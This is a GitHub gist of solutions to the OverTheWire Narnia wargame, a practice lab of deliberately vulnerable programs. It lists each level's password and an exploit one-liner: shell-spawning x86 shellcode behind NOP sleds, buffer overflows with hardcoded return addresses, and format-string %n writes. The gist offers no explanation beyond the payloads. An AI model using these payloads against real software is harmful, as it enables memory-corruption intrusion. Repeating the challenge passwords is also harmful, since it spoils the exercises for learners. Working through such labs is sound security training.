Skip to content

Instantly share code, notes, and snippets.

@mattrighetti
Last active April 22, 2021 00:34
Show Gist options
  • Save mattrighetti/29cac8886998012717b43cffe1916578 to your computer and use it in GitHub Desktop.
Save mattrighetti/29cac8886998012717b43cffe1916578 to your computer and use it in GitHub Desktop.
OverTheWire - Narnia

Narnia

Level 1

Password: efeidiedae

Shellcode

“\xeb\x18\x5e\x31\xc0\x88\x46\x09\x89\x76\x0a\x89\x46\x0e\xb0\x0b\x89\xf3\x8d\x4e\x0a\x8d\x56\x0e\xcd\x80\xe8\xe3\xff\xff\xff\x2f\x62\x69\x6e\x2f\x64\x61\x73\x68\x41\x42\x42\x42\x42\x43\x43\x43\x43”

Level 2

Password: nairiepecu

Shellcode

./narnia2 $(python -c 'print("\x90" * 77 + "\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x16\x5b\x31\xc0\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d\x53\x0c\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x58\x41\x41\x41\x41\x42\x42\x42\x42" + "\xd0\xd5\xff\xff"*4)')

Level 3

Password: vaequeezee

Shellcode

$(python -c 'print("\x41" * 32 + "\x2f\x64\x65\x76\x2f\x73\x74\x64\x6f\x75\x74")')

Level 4

Password: thaenohtai

Shellcode

$(python -c 'print("\x90" * 60 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80" + "\x90" * 176 + "\xec\xd4\xff\xff" * 3)')

Level 5

Password: faimahchiy

Shellcode

./narnia5 $(python -c 'print("\xe0\xd4\xff\xff"+ "." * 496  +"%n")')

Level 6

Password: neezocaeng

Shellcode

$(python -c 'print("\x90" * 5 +  "/sh" + "\x50\xc8\xe4\xf7")') $(python -c 'print("\x90" * 8 + "/bin/sh")')

Level 7

Password: ahkiaziphu

Shellcode

./narnia7 $(python -c 'print("\x3a\xd6\xff\xff\x38\xd6\xff\xff")')%.2044x%2\$hn%.32544x%3\$hn

Level 8

Password: mohthuphog

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment